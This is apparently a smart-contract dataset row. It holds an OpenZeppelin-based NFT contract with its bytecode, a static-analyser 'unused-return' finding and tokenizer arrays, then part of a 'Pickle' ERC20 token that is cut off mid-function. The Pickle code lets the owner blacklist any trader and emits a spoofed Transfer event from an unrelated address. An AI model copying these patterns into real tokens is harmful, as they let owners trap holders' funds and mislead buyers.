{IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: contracts/ElMundoDeAlamo.sol // //,------. ,---. ,--. ,--. ,--. ,--. ,--. //| .---',--.--. ,---. ,--,--,--. / O \ | | ,--,--.,--,--,--. ,---. ,--. ,--.`--',-' '-.| ,---. | | ,---.,--. ,--.,---. //| `--, | .--'| .-. || | | .-. || |' ,-. || || .-. | | |.'.| |,--.'-. .-'| .-. | | | | .-. |\ `' /| .-. : //| |` | | ' '-' '| | | | | | | || |\ '-' || | | |' '-' ' | .'. || | | | | | | | | '--.' '-' ' \ / \ --.,--. //`--' `--' `---' `--`--`--' `--' `--'`--' `--`--'`--`--`--' `---' '--' '--'`--' `--' `--' `--' `-----' `---' `--' `----''-,/ pragma solidity ^0.8.9; contract El_Mundo_De_Alamo is ERC721, Ownable { using SafeMath for uint256; using Strings for uint256; // Freeze OS Metadata to make artwork irrevocable event PermanentURI(string _value, uint256 indexed _id); using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; string private _baseURIextended; uint256 private _MAX_UniqueWork = 2000000; mapping(uint256 => string) private tokenURIs; constructor() ERC721("El Mundo De Alamo", "Alamo") { } function mintUniqueWork( address to, string memory _tokenURI ) public onlyOwner { uint256 tokenId = getNextTokenId(); require( tokenId < _MAX_UniqueWork, "Maximum number of unique artworks exceeded" ); _mintUniqueWork(to, tokenId, _tokenURI); _tokenIdCounter.increment(); } function getNextTokenId() public view returns (uint256) { return _tokenIdCounter.current() + 1; } function _mintUniqueWork( address to, uint256 tokenId, string memory _tokenURI ) internal { _safeMint(to, tokenId); tokenURIs[tokenId] = _tokenURI; emit PermanentURI(tokenURI(tokenId), tokenId); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override(ERC721) { super._beforeTokenTransfer(from, to, tokenId); } function _burn(uint256 tokenId) internal override(ERC721) { super._burn(tokenId); } function _baseURI() internal view override returns (string memory uri){ uri = "ipfs://"; } function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { require(_exists(tokenId), "URI query for nonexistent token"); string memory _tokenURI = tokenURIs[tokenId]; string memory base = _baseURI(); return string(abi.encodePacked(base, _tokenURI)); } function supportsInterface(bytes4 interfaceId) public view override(ERC721) returns (bool) { return super.supportsInterface(interfaceId); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063c87b56dd11610071578063c87b56dd14610239578063c9245c9c1461024c578063caa0f92a1461025f578063e985e9c514610267578063f2fde38b146102a357600080fd5b80638da5cb5b146101fa57806395d89b411461020b578063a22cb46514610213578063b88d4fde1461022657600080fd5b806323b872dd116100e957806323b872dd1461019857806342842e0e146101ab5780636352211e146101be57806370a08231146101d1578063715018a6146101f257600080fd5b806301ffc9a71461011b57806306fdde0314610143578063081812fc14610158578063095ea7b314610183575b600080fd5b61012e6101293660046111ea565b6102b6565b60405190151581526020015b60405180910390f35b61014b6102c7565b60405161013a9190611266565b61016b610166366004611279565b610359565b6040516001600160a01b03909116815260200161013a565b6101966101913660046112ae565b6103f3565b005b6101966101a63660046112d8565b610509565b6101966101b93660046112d8565b61053a565b61016b6101cc366004611279565b610555565b6101e46101df366004611314565b6105cc565b60405190815260200161013a565b610196610653565b6006546001600160a01b031661016b565b61014b610689565b61019661022136600461132f565b610698565b6101966102343660046113f7565b6106a7565b61014b610247366004611279565b6106df565b61019661025a366004611473565b610832565b6101e46108e5565b61012e6102753660046114d5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b6101966102b1366004611314565b610900565b60006102c18261099b565b92915050565b6060600080546102d690611508565b80601f016020809104026020016040519081016040528092919081815260200182805461030290611508565b801561034f5780601f106103245761010080835404028352916020019161034f565b820191906000526020600020905b81548152906001019060200180831161033257829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b03166103d75760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60006103fe82610555565b9050806001600160a01b0316836001600160a01b0316141561046c5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016103ce565b336001600160a01b038216148061048857506104888133610275565b6104fa5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016103ce565b61050483836109eb565b505050565b6105133382610a59565b61052f5760405162461bcd60e51b81526004016103ce90611543565b610504838383610b50565b610504838383604051806020016040528060008152506106a7565b6000818152600260205260408120546001600160a01b0316806102c15760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016103ce565b60006001600160a01b0382166106375760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016103ce565b506001600160a01b031660009081526003602052604090205490565b6006546001600160a01b0316331461067d5760405162461bcd60e51b81526004016103ce90611594565b6106876000610cf0565b565b6060600180546102d690611508565b6106a3338383610d42565b5050565b6106b13383610a59565b6106cd5760405162461bcd60e51b81526004016103ce90611543565b6106d984848484610e11565b50505050565b6000818152600260205260409020546060906001600160a01b03166107465760405162461bcd60e51b815260206004820152601f60248201527f55524920717565727920666f72206e6f6e6578697374656e7420746f6b656e0060448201526064016103ce565b6000828152600a60205260408120805461075f90611508565b80601f016020809104026020016040519081016040528092919081815260200182805461078b90611508565b80156107d85780601f106107ad576101008083540402835291602001916107d8565b820191906000526020600020905b8154815290600101906020018083116107bb57829003601f168201915b505050505090506000610805604080518082019091526007815266697066733a2f2f60c81b602082015290565b9050808260405160200161081a9291906115c9565b60405160208183030381529060405292505050919050565b6006546001600160a01b0316331461085c5760405162461bcd60e51b81526004016103ce90611594565b60006108666108e5565b905060095481106108cc5760405162461bcd60e51b815260206004820152602a60248201527f4d6178696d756d206e756d626572206f6620756e6971756520617274776f726b6044820152691cc8195e18d95959195960b21b60648201526084016103ce565b6108d7838284610e44565b610504600780546001019055565b60006108f060075490565b6108fb90600161160e565b905090565b6006546001600160a01b0316331461092a5760405162461bcd60e51b81526004016103ce90611594565b6001600160a01b03811661098f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ce565b61099881610cf0565b50565b60006001600160e01b031982166380ac58cd60e01b14806109cc57506001600160e01b03198216635b5e139f60e01b145b806102c157506301ffc9a760e01b6001600160e01b03198316146102c1565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610a2082610555565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316610ad25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016103ce565b6000610add83610555565b9050806001600160a01b0316846001600160a01b03161480610b185750836001600160a01b0316610b0d84610359565b6001600160a01b0316145b80610b4857506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610b6382610555565b6001600160a01b031614610bcb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016103ce565b6001600160a01b038216610c2d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103ce565b610c386000826109eb565b6001600160a01b0383166000908152600360205260408120805460019290610c61908490611626565b90915550506001600160a01b0382166000908152600360205260408120805460019290610c8f90849061160e565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b03161415610da45760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016103ce565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b610e1c848484610b50565b610e2884848484610eb3565b6106d95760405162461bcd60e51b81526004016103ce9061163d565b610e4e8383610fb1565b6000828152600a602090815260409091208251610e6d9284019061113b565b50817fa109ba539900bf1b633f956d63c96fc89b814c7287f7aa50a9216d0b55657207610e99846106df565b604051610ea69190611266565b60405180910390a2505050565b60006001600160a01b0384163b15610fa657604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290610ef790339089908890889060040161168f565b6020604051808303816000875af1925050508015610f32575060408051601f3d908101601f19168201909252610f2f918101906116cc565b60015b610f8c573d808015610f60576040519150601f19603f3d011682016040523d82523d6000602084013e610f65565b606091505b508051610f845760405162461bcd60e51b81526004016103ce9061163d565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610b48565b506001949350505050565b6106a3828260405180602001604052806000815250610fd08383610ff9565b610fdd6000848484610eb3565b6105045760405162461bcd60e51b81526004016103ce9061163d565b6001600160a01b03821661104f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016103ce565b6000818152600260205260409020546001600160a01b0316156110b45760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016103ce565b6001600160a01b03821660009081526003602052604081208054600192906110dd90849061160e565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461114790611508565b90600052602060002090601f01602090048101928261116957600085556111af565b82601f1061118257805160ff19168380011785556111af565b828001600101855582156111af579182015b828111156111af578251825591602001919060010190611194565b506111bb9291506111bf565b5090565b5b808211156111bb57600081556001016111c0565b6001600160e01b03198116811461099857600080fd5b6000602082840312156111fc57600080fd5b8135611207816111d4565b9392505050565b60005b83811015611229578181015183820152602001611211565b838111156106d95750506000910152565b6000815180845261125281602086016020860161120e565b601f01601f19169290920160200192915050565b602081526000611207602083018461123a565b60006020828403121561128b57600080fd5b5035919050565b80356001600160a01b03811681146112a957600080fd5b919050565b600080604083850312156112c157600080fd5b6112ca83611292565b946020939093013593505050565b6000806000606084860312156112ed57600080fd5b6112f684611292565b925061130460208501611292565b9150604084013590509250925092565b60006020828403121561132657600080fd5b61120782611292565b6000806040838503121561134257600080fd5b61134b83611292565b91506020830135801515811461136057600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561139c5761139c61136b565b604051601f8501601f19908116603f011681019082821181831017156113c4576113c461136b565b816040528093508581528686860111156113dd57600080fd5b858560208301376000602087830101525050509392505050565b6000806000806080858703121561140d57600080fd5b61141685611292565b935061142460208601611292565b925060408501359150606085013567ffffffffffffffff81111561144757600080fd5b8501601f8101871361145857600080fd5b61146787823560208401611381565b91505092959194509250565b6000806040838503121561148657600080fd5b61148f83611292565b9150602083013567ffffffffffffffff8111156114ab57600080fd5b8301601f810185136114bc57600080fd5b6114cb85823560208401611381565b9150509250929050565b600080604083850312156114e857600080fd5b6114f183611292565b91506114ff60208401611292565b90509250929050565b600181811c9082168061151c57607f821691505b6020821081141561153d57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600083516115db81846020880161120e565b8351908301906115ef81836020880161120e565b01949350505050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611621576116216115f8565b500190565b600082821015611638576116386115f8565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906116c29083018461123a565b9695505050505050565b6000602082840312156116de57600080fd5b8151611207816111d456fea26469706673582212209fec2bf45adf3d9a616cb1a117fb2c6653b4cb79b0866939990ffa0fb7b0225764736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 14526, 2683, 2546, 2683, 27009, 21084, 2692, 2050, 2549, 2050, 23777, 2475, 26337, 2620, 2094, 2475, 2094, 2683, 2683, 2620, 16068, 2278, 26337, 2094, 23352, 2683, 2475, 15878, 2497, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 14046, 1013, 1013, 2023, 2544, 1997, 3647, 18900, 2232, 2323, 2069, 2022, 2109, 2007, 5024, 3012, 1014, 1012, 1022, 2030, 2101, 1010, 1013, 1013, 2138, 2009, 16803, 2006, 1996, 21624, 1005, 1055, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,614
0x9711ccae103cd8f64b7cc8548f272e4a1d4c7689
/** //SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Pickle is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Pickle"; string private constant _symbol = "Pickle"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xAC0f89356e901F3f50f74391cC8952734Fb2d0a7); _feeAddrWallet2 = payable(0xAC0f89356e901F3f50f74391cC8952734Fb2d0a7); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xBB1fbB27425c8a019BFaed9ACC39D712aE5459e6), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 17500000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function 